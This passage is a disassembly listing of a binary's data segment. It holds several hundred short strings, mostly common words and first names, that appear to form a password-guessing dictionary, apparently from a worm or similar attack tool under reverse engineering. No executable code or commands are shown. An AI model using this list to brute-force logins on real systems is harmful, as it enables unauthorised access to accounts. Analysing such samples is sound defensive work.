aNewsgrou	db 'newsgrou',0         ; DATA XREF: seg002:00424264o
		align 4
aNews		db 'news',0             ; DATA XREF: seg002:00424260o
		align 4
aNewborn	db 'newborn',0          ; DATA XREF: seg002:0042425Co
aNetwork_0	db 'network',0          ; DATA XREF: seg002:00424258o
aNetscape	db 'netscape',0         ; DATA XREF: seg002:00424254o
		align 10h
aNess		db 'ness',0             ; DATA XREF: seg002:00424250o
		align 4
aNeptune	db 'neptune',0          ; DATA XREF: seg002:0042424Co
aNepenthe	db 'nepenthe',0         ; DATA XREF: seg002:00424248o
		align 4
aNavy		db 'navy',0             ; DATA XREF: seg002:00424244o
		align 4
aNasa		db 'nasa',0             ; DATA XREF: seg002:00424240o
		align 4
aNapoleon	db 'napoleon',0         ; DATA XREF: seg002:0042423Co
		align 4
aNancy		db 'nancy',0            ; DATA XREF: seg002:00424238o
		align 10h
aName		db 'name',0             ; DATA XREF: seg002:00424234o
		align 4
aNagel		db 'nagel',0            ; DATA XREF: seg002:00424230o
		align 10h
aMutant		db 'mutant',0           ; DATA XREF: seg002:0042422Co
		align 4
aMuppets	db 'muppets',0          ; DATA XREF: seg002:00424228o
aMsdos		db 'msdos',0            ; DATA XREF: seg002:00424224o
		align 4
aMpeg		db 'mpeg',0             ; DATA XREF: seg002:00424220o
		align 10h
aMozart		db 'mozart',0           ; DATA XREF: seg002:0042421Co
		align 4
aMovies		db 'movies',0           ; DATA XREF: seg002:00424218o
		align 10h
aMovie		db 'movie',0            ; DATA XREF: seg002:00424214o
		align 4
aMove		db 'move',0             ; DATA XREF: seg002:00424210o
		align 10h
aMouse		db 'mouse',0            ; DATA XREF: seg002:0042420Co
		align 4
aMountain	db 'mountain',0         ; DATA XREF: seg002:00424208o
		align 4
aMosaic		db 'mosaic',0           ; DATA XREF: seg002:00424204o
		align 4
aMortgage	db 'mortgage',0         ; DATA XREF: seg002:00424200o
		align 4
aMortalco	db 'mortalco',0         ; DATA XREF: seg002:004241FCo
		align 4
aMortal		db 'mortal',0           ; DATA XREF: seg002:004241F8o
		align 4
aMorris		db 'morris',0           ; DATA XREF: seg002:004241F4o
		align 4
aMorley		db 'morley',0           ; DATA XREF: seg002:004241F0o
		align 4
aMore		db 'more',0             ; DATA XREF: seg002:004241ECo
		align 4
aMoose		db 'moose',0            ; DATA XREF: seg002:004241E8o
		align 4
aMoor		db 'moor',0             ; DATA XREF: seg002:004241E4o
		align 4
aMoom		db 'moom',0             ; DATA XREF: seg002:004241E0o
		align 4
aMonica		db 'monica',0           ; DATA XREF: seg002:004241DCo
		align 4
aMonday		db 'monday',0           ; DATA XREF: seg002:004241D8o
		align 4
aMoguls		db 'moguls',0           ; DATA XREF: seg002:004241D4o
		align 4
aMogul		db 'mogul',0            ; DATA XREF: seg002:004241D0o
		align 4
aModem		db 'modem',0            ; DATA XREF: seg002:004241CCo
		align 4
aMode		db 'mode',0             ; DATA XREF: seg002:004241C8o
		align 4
aMkii		db 'mkii',0             ; DATA XREF: seg002:004241C4o
		align 4
aMission	db 'mission',0          ; DATA XREF: seg002:004241C0o
aMisfit		db 'misfit',0           ; DATA XREF: seg002:004241BCo
		align 4
aMinsky		db 'minsky',0           ; DATA XREF: seg002:004241B8o
		align 4
aMinimum	db 'minimum',0          ; DATA XREF: seg002:004241B4o
aMine		db 'mine',0             ; DATA XREF: seg002:004241B0o
		align 4
aMike		db 'mike',0             ; DATA XREF: seg002:004241ACo
		align 4
aMidieval	db 'midieval',0         ; DATA XREF: seg002:004241A8o
		align 10h
aMicrosof	db 'microsof',0         ; DATA XREF: seg002:004241A4o
		align 4
aMicropro	db 'micropro',0         ; DATA XREF: seg002:004241A0o
		align 4
aMicrochi	db 'microchi',0         ; DATA XREF: seg002:0042419Co
		align 4
aMicro		db 'micro',0            ; DATA XREF: seg002:00424198o
		align 4
aMickey		db 'mickey',0           ; DATA XREF: seg002:00424194o
		align 4
aMichelle	db 'michelle',0         ; DATA XREF: seg002:00424190o
		align 10h
aMichele	db 'michele',0          ; DATA XREF: seg002:0042418Co
aMichelan	db 'michelan',0         ; DATA XREF: seg002:00424188o
		align 4
aMichel		db 'michel',0           ; DATA XREF: seg002:00424184o
		align 4
aMichael	db 'michael',0          ; DATA XREF: seg002:00424180o
aMice		db 'mice',0             ; DATA XREF: seg002:0042417Co
		align 4
aMets		db 'mets',0             ; DATA XREF: seg002:00424178o
		align 4
aMetalica	db 'metalica',0         ; DATA XREF: seg002:00424174o
		align 10h
aMetalhea	db 'metalhea',0         ; DATA XREF: seg002:00424170o
		align 4
aMetal		db 'metal',0            ; DATA XREF: seg002:0042416Co
		align 4
aMerlin		db 'merlin',0           ; DATA XREF: seg002:00424168o
		align 4
aMercury	db 'mercury',0          ; DATA XREF: seg002:00424164o
aMenu		db 'menu',0             ; DATA XREF: seg002:00424160o
		align 4
aMenace		db 'menace',0           ; DATA XREF: seg002:0042415Co
		align 4
aMemory		db 'memory',0           ; DATA XREF: seg002:00424158o
		align 4
aMember		db 'member',0           ; DATA XREF: seg002:00424154o
		align 4
aMelrose	db 'melrose',0          ; DATA XREF: seg002:00424150o
aMellon		db 'mellon',0           ; DATA XREF: seg002:0042414Co
		align 4
aMelissa	db 'melissa',0          ; DATA XREF: seg002:00424148o
aMegan		db 'megan',0            ; DATA XREF: seg002:00424144o
		align 4
aMegadeth	db 'megadeth',0         ; DATA XREF: seg002:00424140o
		align 10h
aMegabyte	db 'megabyte',0         ; DATA XREF: seg002:0042413Co
		align 4
aMeagan		db 'meagan',0           ; DATA XREF: seg002:00424138o
		align 4
aMaurice	db 'maurice',0          ; DATA XREF: seg002:00424134o
aMath		db 'math',0             ; DATA XREF: seg002:00424130o
		align 4
aMaster		db 'master',0           ; DATA XREF: seg002:0042412Co
		align 4
aMason		db 'mason',0            ; DATA XREF: seg002:00424128o
		align 4
aMary		db 'mary',0             ; DATA XREF: seg002:00424124o
		align 4
aMarvin		db 'marvin',0           ; DATA XREF: seg002:00424120o
		align 4
aMarty		db 'marty',0            ; DATA XREF: seg002:0042411Co
		align 4
aMars		db 'mars',0             ; DATA XREF: seg002:00424118o
		align 4
aMarriage	db 'marriage',0         ; DATA XREF: seg002:00424114o
		align 10h
aMarni		db 'marni',0            ; DATA XREF: seg002:00424110o
		align 4
aMarkus		db 'markus',0           ; DATA XREF: seg002:0042410Co
		align 10h
aMark		db 'mark',0             ; DATA XREF: seg002:00424108o
		align 4
aMarines	db 'marines',0          ; DATA XREF: seg002:00424104o
aMarijuan	db 'marijuan',0         ; DATA XREF: seg002:00424100o
		align 4
aMarietta	db 'marietta',0         ; DATA XREF: seg002:004240FCo
		align 4
aMariens	db 'mariens',0          ; DATA XREF: seg002:004240F8o
aMaria		db 'maria',0            ; DATA XREF: seg002:004240F4o
		align 4
aMarcy		db 'marcy',0            ; DATA XREF: seg002:004240F0o
		align 10h
aMarci		db 'marci',0            ; DATA XREF: seg002:004240ECo
		align 4
aMara		db 'mara',0             ; DATA XREF: seg002:004240E8o
		align 10h
aManager	db 'manager',0          ; DATA XREF: seg002:004240E4o
aMana		db 'mana',0             ; DATA XREF: seg002:004240E0o
		align 10h
aMalcom		db 'malcom',0           ; DATA XREF: seg002:004240DCo
		align 4
aMalcolm	db 'malcolm',0          ; DATA XREF: seg002:004240D8o
aMaint		db 'maint',0            ; DATA XREF: seg002:004240D4o
		align 4
aMail		db 'mail',0             ; DATA XREF: seg002:004240D0o
		align 10h
aMagnet		db 'magnet',0           ; DATA XREF: seg002:004240CCo
		align 4
aMagic		db 'magic',0            ; DATA XREF: seg002:004240C8o
		align 10h
aMaggot		db 'maggot',0           ; DATA XREF: seg002:004240C4o
		align 4
aMacro		db 'macro',0            ; DATA XREF: seg002:004240C0o
		align 10h
aMack		db 'mack',0             ; DATA XREF: seg002:004240BCo
		align 4
aMacintos	db 'macintos',0         ; DATA XREF: seg002:004240B8o
		align 4
aMachine	db 'machine',0          ; DATA XREF: seg002:004240B4o
aLynne		db 'lynne',0            ; DATA XREF: seg002:004240B0o
		align 4
aLynn		db 'lynn',0             ; DATA XREF: seg002:004240ACo
		align 4
aLust		db 'lust',0             ; DATA XREF: seg002:004240A8o
		align 4
aLuke		db 'luke',0             ; DATA XREF: seg002:004240A4o
		align 4
aLude		db 'lude',0             ; DATA XREF: seg002:004240A0o
		align 4
aLucy		db 'lucy',0             ; DATA XREF: seg002:0042409Co
		align 4
aLucus		db 'lucus',0            ; DATA XREF: seg002:00424098o
		align 4
aLuck		db 'luck',0             ; DATA XREF: seg002:00424094o
		align 4
aLover		db 'lover',0            ; DATA XREF: seg002:00424090o
		align 4
aLovebug	db 'lovebug',0          ; DATA XREF: seg002:0042408Co
aLouis		db 'louis',0            ; DATA XREF: seg002:00424088o
		align 4
aLoser		db 'loser',0            ; DATA XREF: seg002:00424084o
		align 4
aLorraine	db 'lorraine',0         ; DATA XREF: seg002:00424080o
		align 4
aLorin		db 'lorin',0            ; DATA XREF: seg002:0042407Co
		align 10h
aLori		db 'lori',0             ; DATA XREF: seg002:00424078o
		align 4
aLore		db 'lore',0             ; DATA XREF: seg002:00424074o
		align 10h
aLoose		db 'loose',0            ; DATA XREF: seg002:00424070o
		align 4
aLolopc		db 'lolopc',0           ; DATA XREF: seg002:0042406Co
		align 10h
aLois		db 'lois',0             ; DATA XREF: seg002:00424068o
		align 4
aLogout		db 'logout',0           ; DATA XREF: seg002:00424064o
		align 10h
aLoginwor	db 'loginwor',0         ; DATA XREF: seg002:00424060o
		align 4
aLogic		db 'logic',0            ; DATA XREF: seg002:0042405Co
		align 4
aLockword	db 'lockword',0         ; DATA XREF: seg002:00424058o
		align 10h
aLockout	db 'lockout',0          ; DATA XREF: seg002:00424054o
aLock		db 'lock',0             ; DATA XREF: seg002:00424050o
		align 10h
aLoad		db 'load',0             ; DATA XREF: seg002:0042404Co
		align 4
aLive		db 'live',0             ; DATA XREF: seg002:00424048o
		align 10h
aLiteratu	db 'literatu',0         ; DATA XREF: seg002:00424044o
		align 4
aLisp		db 'lisp',0             ; DATA XREF: seg002:00424040o
		align 4
aLisa		db 'lisa',0             ; DATA XREF: seg002:0042403Co
		align 4
aLips		db 'lips',0             ; DATA XREF: seg002:00424038o
		align 4
aLion		db 'lion',0             ; DATA XREF: seg002:00424034o
		align 4
aLink		db 'link',0             ; DATA XREF: seg002:00424030o
		align 4
aLinda		db 'linda',0            ; DATA XREF: seg002:0042402Co
		align 4
aLimited	db 'limited',0          ; DATA XREF: seg002:00424028o
aLimbaugh	db 'limbaugh',0         ; DATA XREF: seg002:00424024o
		align 10h
aLima		db 'lima',0             ; DATA XREF: seg002:00424020o
		align 4
aLightsab	db 'lightsab',0         ; DATA XREF: seg002:0042401Co
		align 4
aLight		db 'light',0            ; DATA XREF: seg002:00424018o
		align 4
aLife		db 'life',0             ; DATA XREF: seg002:00424014o
		align 4
aLicker		db 'licker',0           ; DATA XREF: seg002:00424010o
		align 4
aLick		db 'lick',0             ; DATA XREF: seg002:0042400Co
		align 4
aLibrary	db 'library',0          ; DATA XREF: seg002:00424008o
aLiberal	db 'liberal',0          ; DATA XREF: seg002:00424004o
aLexluthe	db 'lexluthe',0         ; DATA XREF: seg002:00424000o
		align 10h
aLewis		db 'lewis',0            ; DATA XREF: seg002:00423FFCo
		align 4
aLetmein	db 'letmein',0          ; DATA XREF: seg002:00423FF8o
aLeslie		db 'leslie',0           ; DATA XREF: seg002:00423FF4o
		align 4
aLesbian	db 'lesbian',0          ; DATA XREF: seg002:00423FF0o
aLeroy		db 'leroy',0            ; DATA XREF: seg002:00423FECo
		align 4
aLeland		db 'leland',0           ; DATA XREF: seg002:00423FE8o
		align 10h
aLegal		db 'legal',0            ; DATA XREF: seg002:00423FE4o
		align 4
aLeftwing	db 'leftwing',0         ; DATA XREF: seg002:00423FE0o
		align 4
aLeft		db 'left',0             ; DATA XREF: seg002:00423FDCo
		align 4
aLebesgue	db 'lebesgue',0         ; DATA XREF: seg002:00423FD8o
		align 4
aLeah		db 'leah',0             ; DATA XREF: seg002:00423FD4o
		align 10h
aLazer		db 'lazer',0            ; DATA XREF: seg002:00423FD0o
		align 4
aLazarus	db 'lazarus',0          ; DATA XREF: seg002:00423FCCo
aLava		db 'lava',0             ; DATA XREF: seg002:00423FC8o
		align 4
aLaura		db 'laura',0            ; DATA XREF: seg002:00423FC4o
		align 10h
aLaser		db 'laser',0            ; DATA XREF: seg002:00423FC0o
		align 4
aLarry		db 'larry',0            ; DATA XREF: seg002:00423FBCo
		align 10h
aLarkin		db 'larkin',0           ; DATA XREF: seg002:00423FB8o
		align 4
aLara		db 'lara',0             ; DATA XREF: seg002:00423FB4o
		align 10h
aLaptop		db 'laptop',0           ; DATA XREF: seg002:00423FB0o
		align 4
aLana		db 'lana',0             ; DATA XREF: seg002:00423FACo
		align 10h
aLaminati	db 'laminati',0         ; DATA XREF: seg002:00423FA8o
		align 4
aLambda		db 'lambda',0           ; DATA XREF: seg002:00423FA4o
		align 4
aLakers		db 'lakers',0           ; DATA XREF: seg002:00423FA0o
		align 4
aLadle		db 'ladle',0            ; DATA XREF: seg002:00423F9Co
		align 4
aLadies		db 'ladies',0           ; DATA XREF: seg002:00423F98o
		align 4
aKristy		db 'kristy',0           ; DATA XREF: seg002:00423F94o
		align 4
aKristine	db 'kristine',0         ; DATA XREF: seg002:00423F90o
		align 10h
aKristin	db 'kristin',0          ; DATA XREF: seg002:00423F8Co
aKristie	db 'kristie',0          ; DATA XREF: seg002:00423F88o
aKristi		db 'kristi',0           ; DATA XREF: seg002:00423F84o
		align 4
aKristen	db 'kristen',0          ; DATA XREF: seg002:00423F80o
aKrista		db 'krista',0           ; DATA XREF: seg002:00423F7Co
		align 4
aKnown		db 'known',0            ; DATA XREF: seg002:00423F78o
		align 10h
aKnightma	db 'knightma',0         ; DATA XREF: seg002:00423F74o
		align 4
aKnight		db 'knight',0           ; DATA XREF: seg002:00423F70o
		align 4
aKnife		db 'knife',0            ; DATA XREF: seg002:00423F6Co
		align 4
aKlingon	db 'klingon',0          ; DATA XREF: seg002:00423F68o
aKitten		db 'kitten',0           ; DATA XREF: seg002:00423F64o
		align 4
aKissmyas	db 'kissmyas',0         ; DATA XREF: seg002:00423F60o
		align 4
aKiss		db 'kiss',0             ; DATA XREF: seg002:00423F5Co
		align 10h
aKirkland	db 'kirkland',0         ; DATA XREF: seg002:00423F58o
		align 4
aKirk		db 'kirk',0             ; DATA XREF: seg002:00423F54o
		align 4
aKing		db 'king',0             ; DATA XREF: seg002:00423F50o
		align 4
aKimberly	db 'kimberly',0         ; DATA XREF: seg002:00423F4Co
		align 4
aKilo		db 'kilo',0             ; DATA XREF: seg002:00423F48o
		align 10h
aKillthem	db 'killthem',0         ; DATA XREF: seg002:00423F44o
		align 4
aKill		db 'kill',0             ; DATA XREF: seg002:00423F40o
		align 4
aKids		db 'kids',0             ; DATA XREF: seg002:00423F3Co
		align 4
aKeyword	db 'keyword',0          ; DATA XREF: seg002:00423F38o
aKeyin		db 'keyin',0            ; DATA XREF: seg002:00423F34o
		align 4
aKeybord	db 'keybord',0          ; DATA XREF: seg002:00423F30o
aKewl		db 'kewl',0             ; DATA XREF: seg002:00423F2Co
		align 4
aKevin		db 'kevin',0            ; DATA XREF: seg002:00423F28o
		align 4
aKerry		db 'kerry',0            ; DATA XREF: seg002:00423F24o
		align 4
aKerrie		db 'kerrie',0           ; DATA XREF: seg002:00423F20o
		align 4
aKerri		db 'kerri',0            ; DATA XREF: seg002:00423F1Co
		align 4
aKernel		db 'kernel',0           ; DATA XREF: seg002:00423F18o
		align 4
aKermit		db 'kermit',0           ; DATA XREF: seg002:00423F14o
		align 4
aKeri		db 'keri',0             ; DATA XREF: seg002:00423F10o
		align 4
aKelly		db 'kelly',0            ; DATA XREF: seg002:00423F0Co
		align 4
aKatrina	db 'katrina',0          ; DATA XREF: seg002:00423F08o
aKatina		db 'katina',0           ; DATA XREF: seg002:00423F04o
		align 4
aKathy		db 'kathy',0            ; DATA XREF: seg002:00423F00o
		align 4
aKathrine	db 'kathrine',0         ; DATA XREF: seg002:00423EFCo
		align 10h
aKathleen	db 'kathleen',0         ; DATA XREF: seg002:00423EF8o
		align 4
aKate		db 'kate',0             ; DATA XREF: seg002:00423EF4o
		align 4
aKatana		db 'katana',0           ; DATA XREF: seg002:00423EF0o
		align 4
aKarina		db 'karina',0           ; DATA XREF: seg002:00423EECo
		align 4
aKarie		db 'karie',0            ; DATA XREF: seg002:00423EE8o
		align 4
aKaren		db 'karen',0            ; DATA XREF: seg002:00423EE4o
		align 4
aKaka		db 'kaka',0             ; DATA XREF: seg002:00423EE0o
		align 4
aJupiter	db 'jupiter',0          ; DATA XREF: seg002:00423EDCo
aJune		db 'june',0             ; DATA XREF: seg002:00423ED8o
		align 4
aJuliet		db 'juliet',0           ; DATA XREF: seg002:00423ED4o
		align 4
aJulie		db 'julie',0            ; DATA XREF: seg002:00423ED0o
		align 4
aJulia		db 'julia',0            ; DATA XREF: seg002:00423ECCo
		align 4
aJuicy		db 'juicy',0            ; DATA XREF: seg002:00423EC8o
		align 4
aJuggle		db 'juggle',0           ; DATA XREF: seg002:00423EC4o
		align 4
aJudy		db 'judy',0             ; DATA XREF: seg002:00423EC0o
		align 4
aJudith		db 'judith',0           ; DATA XREF: seg002:00423EBCo
		align 4
aJoyce		db 'joyce',0            ; DATA XREF: seg002:00423EB8o
		align 4
aJournal	db 'journal',0          ; DATA XREF: seg002:00423EB4o
aJoshua		db 'joshua',0           ; DATA XREF: seg002:00423EB0o
		align 4
aJoseph		db 'joseph',0           ; DATA XREF: seg002:00423EACo
		align 4
aJohnny		db 'johnny',0           ; DATA XREF: seg002:00423EA8o
		align 4
aJohndoe	db 'johndoe',0          ; DATA XREF: seg002:00423EA4o
aJohn		db 'john',0             ; DATA XREF: seg002:00423EA0o
		align 4
aJody		db 'jody',0             ; DATA XREF: seg002:00423E9Co
		align 4
aJoanne		db 'joanne',0           ; DATA XREF: seg002:00423E98o
		align 4
aJixian		db 'jixian',0           ; DATA XREF: seg002:00423E94o
		align 4
aJill		db 'jill',0             ; DATA XREF: seg002:00423E90o
		align 4
aJewelry	db 'jewelry',0          ; DATA XREF: seg002:00423E8Co
aJester		db 'jester',0           ; DATA XREF: seg002:00423E88o
		align 4
aJessica	db 'jessica',0          ; DATA XREF: seg002:00423E84o
aJerusale	db 'jerusale',0         ; DATA XREF: seg002:00423E80o
		align 10h
aJerry		db 'jerry',0            ; DATA XREF: seg002:00423E7Co
		align 4
aJenny		db 'jenny',0            ; DATA XREF: seg002:00423E78o
		align 10h
aJennifer	db 'jennifer',0         ; DATA XREF: seg002:00423E74o
		align 4
aJenni		db 'jenni',0            ; DATA XREF: seg002:00423E70o
		align 4
aJeff		db 'jeff',0             ; DATA XREF: seg002:00423E6Co
		align 4
aJeanne		db 'jeanne',0           ; DATA XREF: seg002:00423E68o
		align 4
aJean		db 'jean',0             ; DATA XREF: seg002:00423E64o
		align 4
aJazz		db 'jazz',0             ; DATA XREF: seg002:00423E60o
		align 4
aJava		db 'java',0             ; DATA XREF: seg002:00423E5Co
		align 4
aJasmin		db 'jasmin',0           ; DATA XREF: seg002:00423E58o
		align 4
aJapan		db 'japan',0            ; DATA XREF: seg002:00423E54o
		align 4
aJanie		db 'janie',0            ; DATA XREF: seg002:00423E50o
		align 4
aJanice		db 'janice',0           ; DATA XREF: seg002:00423E4Co
		align 4
aJanet		db 'janet',0            ; DATA XREF: seg002:00423E48o
		align 4
aJane		db 'jane',0             ; DATA XREF: seg002:00423E44o
		align 4
aJail		db 'jail',0             ; DATA XREF: seg002:00423E40o
		align 4
aJackie		db 'jackie',0           ; DATA XREF: seg002:00423E3Co
		align 4
aIsis		db 'isis',0             ; DATA XREF: seg002:00423E38o
		align 4
aIrishman	db 'irishman',0         ; DATA XREF: seg002:00423E34o
		align 10h
aIrene		db 'irene',0            ; DATA XREF: seg002:00423E30o
		align 4
aInvent		db 'invent',0           ; DATA XREF: seg002:00423E2Co
		align 10h
aInteger	db 'integer',0          ; DATA XREF: seg002:00423E28o
aInside		db 'inside',0           ; DATA XREF: seg002:00423E24o
		align 10h
aInput		db 'input',0            ; DATA XREF: seg002:00423E20o
		align 4
aInnocuou	db 'innocuou',0         ; DATA XREF: seg002:00423E1Co
		align 4
aInna		db 'inna',0             ; DATA XREF: seg002:00423E18o
		align 4
aIngrid		db 'ingrid',0           ; DATA XREF: seg002:00423E14o
		align 4
aIngress	db 'ingress',0          ; DATA XREF: seg002:00423E10o
aIngres		db 'ingres',0           ; DATA XREF: seg002:00423E0Co
		align 4
aIndians	db 'indians',0          ; DATA XREF: seg002:00423E08o
aIndiana	db 'indiana',0          ; DATA XREF: seg002:00423E04o
aIndian		db 'indian',0           ; DATA XREF: seg002:00423E00o
		align 4
aIndia		db 'india',0            ; DATA XREF: seg002:00423DFCo
		align 4
aInclude	db 'include',0          ; DATA XREF: seg002:00423DF8o
aImperial	db 'imperial',0         ; DATA XREF: seg002:00423DF4o
		align 4
aImmortal	db 'immortal',0         ; DATA XREF: seg002:00423DF0o
		align 4
aImbrogli	db 'imbrogli',0         ; DATA XREF: seg002:00423DECo
		align 10h
aImage		db 'image',0            ; DATA XREF: seg002:00423DE8o
		align 4
aIllumina	db 'illumina',0         ; DATA XREF: seg002:00423DE4o
		align 4
aIcecream	db 'icecream',0         ; DATA XREF: seg002:00423DE0o
		align 10h
aHypertxt	db 'hypertxt',0         ; DATA XREF: seg002:00423DDCo
		align 4
aHyper		db 'hyper',0            ; DATA XREF: seg002:00423DD8o
		align 4
aHydrogen	db 'hydrogen',0         ; DATA XREF: seg002:00423DD4o
		align 10h
aHutchins	db 'hutchins',0         ; DATA XREF: seg002:00423DD0o
		align 4
aHunter		db 'hunter',0           ; DATA XREF: seg002:00423DCCo
		align 4
aHunt		db 'hunt',0             ; DATA XREF: seg002:00423DC8o
		align 4
aHttp		db 'http',0             ; DATA XREF: seg002:00423DC4o
		align 4
aHotel		db 'hotel',0            ; DATA XREF: seg002:00423DC0o
		align 4
aHotdog		db 'hotdog',0           ; DATA XREF: seg002:00423DBCo
		align 4
aHost		db 'host',0             ; DATA XREF: seg002:00423DB8o
		align 4
aHorus		db 'horus',0            ; DATA XREF: seg002:00423DB4o
		align 4
aHorse		db 'horse',0            ; DATA XREF: seg002:00423DB0o
		align 4
aHorror		db 'horror',0           ; DATA XREF: seg002:00423DACo
		align 4
aHorrible	db 'horrible',0         ; DATA XREF: seg002:00423DA8o
		align 10h
aHorny		db 'horny',0            ; DATA XREF: seg002:00423DA4o
		align 4
aHooters	db 'hooters',0          ; DATA XREF: seg002:00423DA0o
aHooker		db 'hooker',0           ; DATA XREF: seg002:00423D9Co
		align 4
aHoney		db 'honey',0            ; DATA XREF: seg002:00423D98o
		align 10h
aHomework	db 'homework',0         ; DATA XREF: seg002:00423D94o
		align 4
aHomer		db 'homer',0            ; DATA XREF: seg002:00423D90o
		align 4
aHomepage	db 'homepage',0         ; DATA XREF: seg002:00423D8Co
		align 10h
aHollywoo	db 'hollywoo',0         ; DATA XREF: seg002:00423D88o
		align 4
aHolly		db 'holly',0            ; DATA XREF: seg002:00423D84o
		align 4
aHole		db 'hole',0             ; DATA XREF: seg002:00423D80o
		align 4
aHits		db 'hits',0             ; DATA XREF: seg002:00423D7Co
		align 4
aHitler		db 'hitler',0           ; DATA XREF: seg002:00423D78o
		align 4
aHighland	db 'highland',0         ; DATA XREF: seg002:00423D74o
		align 4
aHigh		db 'high',0             ; DATA XREF: seg002:00423D70o
		align 10h
aHidden		db 'hidden',0           ; DATA XREF: seg002:00423D6Co
		align 4
aHibernia	db 'hibernia',0         ; DATA XREF: seg002:00423D68o
		align 4
aHiawatha	db 'hiawatha',0         ; DATA XREF: seg002:00423D64o
		align 10h
aHexadeci	db 'hexadeci',0         ; DATA XREF: seg002:00423D60o
		align 4
aHewlett	db 'hewlett',0          ; DATA XREF: seg002:00423D5Co
aHeroin		db 'heroin',0           ; DATA XREF: seg002:00423D58o
		align 4
aHero		db 'hero',0             ; DATA XREF: seg002:00423D54o
		align 4
aHerbert	db 'herbert',0          ; DATA XREF: seg002:00423D50o
aHerb		db 'herb',0             ; DATA XREF: seg002:00423D4Co
		align 4
aHelp		db 'help',0             ; DATA XREF: seg002:00423D48o
		align 4
aHello		db 'hello',0            ; DATA XREF: seg002:00423D44o
		align 4
aHell		db 'hell',0             ; DATA XREF: seg002:00423D40o
		align 4
aHeinlein	db 'heinlein',0         ; DATA XREF: seg002:00423D3Co
		align 4
aHeidi		db 'heidi',0            ; DATA XREF: seg002:00423D38o
		align 10h
aHebrides	db 'hebrides',0         ; DATA XREF: seg002:00423D34o
		align 4
aHeather	db 'heather',0          ; DATA XREF: seg002:00423D30o
aHeathen	db 'heathen',0          ; DATA XREF: seg002:00423D2Co
aHeat		db 'heat',0             ; DATA XREF: seg002:00423D28o
		align 4
aHeadbang	db 'headbang',0         ; DATA XREF: seg002:00423D24o
		align 10h
aHead		db 'head',0             ; DATA XREF: seg002:00423D20o
		align 4
aHawaii		db 'hawaii',0           ; DATA XREF: seg002:00423D1Co
		align 10h
aHaven		db 'haven',0            ; DATA XREF: seg002:00423D18o
		align 4
aHate		db 'hate',0             ; DATA XREF: seg002:00423D14o
		align 10h
aHarvey		db 'harvey',0           ; DATA XREF: seg002:00423D10o
		align 4
aHarold		db 'harold',0           ; DATA XREF: seg002:00423D0Co
		align 10h
aHarmony	db 'harmony',0          ; DATA XREF: seg002:00423D08o
aHarddriv	db 'harddriv',0         ; DATA XREF: seg002:00423D04o
		align 4
aHardcore	db 'hardcore',0         ; DATA XREF: seg002:00423D00o
		align 10h
aHard		db 'hard',0             ; DATA XREF: seg002:00423CFCo
		align 4
aHappenin	db 'happenin',0         ; DATA XREF: seg002:00423CF8o
		align 4
aHandjob	db 'handjob',0          ; DATA XREF: seg002:00423CF4o
aHandily	db 'handily',0          ; DATA XREF: seg002:00423CF0o
aHandel		db 'handel',0           ; DATA XREF: seg002:00423CECo
		align 4
aHamster	db 'hamster',0          ; DATA XREF: seg002:00423CE8o
aHamlet		db 'hamlet',0           ; DATA XREF: seg002:00423CE4o
		align 4
aHallowee	db 'hallowee',0         ; DATA XREF: seg002:00423CE0o
		align 4
aHair		db 'hair',0             ; DATA XREF: seg002:00423CDCo
		align 10h
aHagar		db 'hagar',0            ; DATA XREF: seg002:00423CD8o
		align 4
aHacked		db 'hacked',0           ; DATA XREF: seg002:00423CD4o
		align 10h
aHack		db 'hack',0             ; DATA XREF: seg002:00423CD0o
		align 4
aGuntis		db 'guntis',0           ; DATA XREF: seg002:00423CCCo
		align 10h
aGumption	db 'gumption',0         ; DATA XREF: seg002:00423CC8o
		align 4
aGuitar		db 'guitar',0           ; DATA XREF: seg002:00423CC4o
		align 4
aGuess		db 'guess',0            ; DATA XREF: seg002:00423CC0o
		align 4
aGucci		db 'gucci',0            ; DATA XREF: seg002:00423CBCo
		align 4
aGuardian	db 'guardian',0         ; DATA XREF: seg002:00423CB8o
		align 10h
aGryphon	db 'gryphon',0          ; DATA XREF: seg002:00423CB4o
aGroup		db 'group',0            ; DATA XREF: seg002:00423CB0o
		align 10h
aGreen		db 'green',0            ; DATA XREF: seg002:00423CACo
		align 4
aGreat		db 'great',0            ; DATA XREF: seg002:00423CA8o
		align 10h
aGrant		db 'grant',0            ; DATA XREF: seg002:00423CA4o
		align 4
aGrand		db 'grand',0            ; DATA XREF: seg002:00423CA0o
		align 10h
aGrahm		db 'grahm',0            ; DATA XREF: seg002:00423C9Co
		align 4
aGraham		db 'graham',0           ; DATA XREF: seg002:00423C98o
		align 10h
aGrades		db 'grades',0           ; DATA XREF: seg002:00423C94o
		align 4
aGovermen	db 'govermen',0         ; DATA XREF: seg002:00423C90o
		align 4
aGouge		db 'gouge',0            ; DATA XREF: seg002:00423C8Co
		align 4
aGosling	db 'gosling',0          ; DATA XREF: seg002:00423C88o
aGorges		db 'gorges',0           ; DATA XREF: seg002:00423C84o
		align 4
aGorgeous	db 'gorgeous',0         ; DATA XREF: seg002:00423C80o
		align 4
aGood		db 'good',0             ; DATA XREF: seg002:00423C7Co
		align 10h
aGolfer		db 'golfer',0           ; DATA XREF: seg002:00423C78o
		align 4
aGolf		db 'golf',0             ; DATA XREF: seg002:00423C74o
		align 10h
aGolden		db 'golden',0           ; DATA XREF: seg002:00423C70o
		align 4
aGold		db 'gold',0             ; DATA XREF: seg002:00423C6Co
		align 10h
aGlacier	db 'glacier',0          ; DATA XREF: seg002:00423C68o
aGirl		db 'girl',0             ; DATA XREF: seg002:00423C64o
		align 10h
aGinger		db 'ginger',0           ; DATA XREF: seg002:00423C60o
		align 4
aGina		db 'gina',0             ; DATA XREF: seg002:00423C5Co
		align 10h
aGigabyte	db 'gigabyte',0         ; DATA XREF: seg002:00423C58o
		align 4
aGibson		db 'gibson',0           ; DATA XREF: seg002:00423C54o
		align 4
aGhost		db 'ghost',0            ; DATA XREF: seg002:00423C50o
		align 4
aGertrude	db 'gertrude',0         ; DATA XREF: seg002:00423C4Co
		align 4
aGerm		db 'germ',0             ; DATA XREF: seg002:00423C48o
		align 10h
aGeorge		db 'george',0           ; DATA XREF: seg002:00423C44o
		align 4
aGauss		db 'gauss',0            ; DATA XREF: seg002:00423C40o
		align 10h
aGatt		db 'gatt',0             ; DATA XREF: seg002:00423C3Co
		align 4
aGatherin	db 'gatherin',0         ; DATA XREF: seg002:00423C38o
		align 4
aGateway	db 'gateway',0          ; DATA XREF: seg002:00423C34o
aGarfield	db 'garfield',0         ; DATA XREF: seg002:00423C30o
		align 4
aGardner	db 'gardner',0          ; DATA XREF: seg002:00423C2Co
aGames		db 'games',0            ; DATA XREF: seg002:00423C28o
		align 4
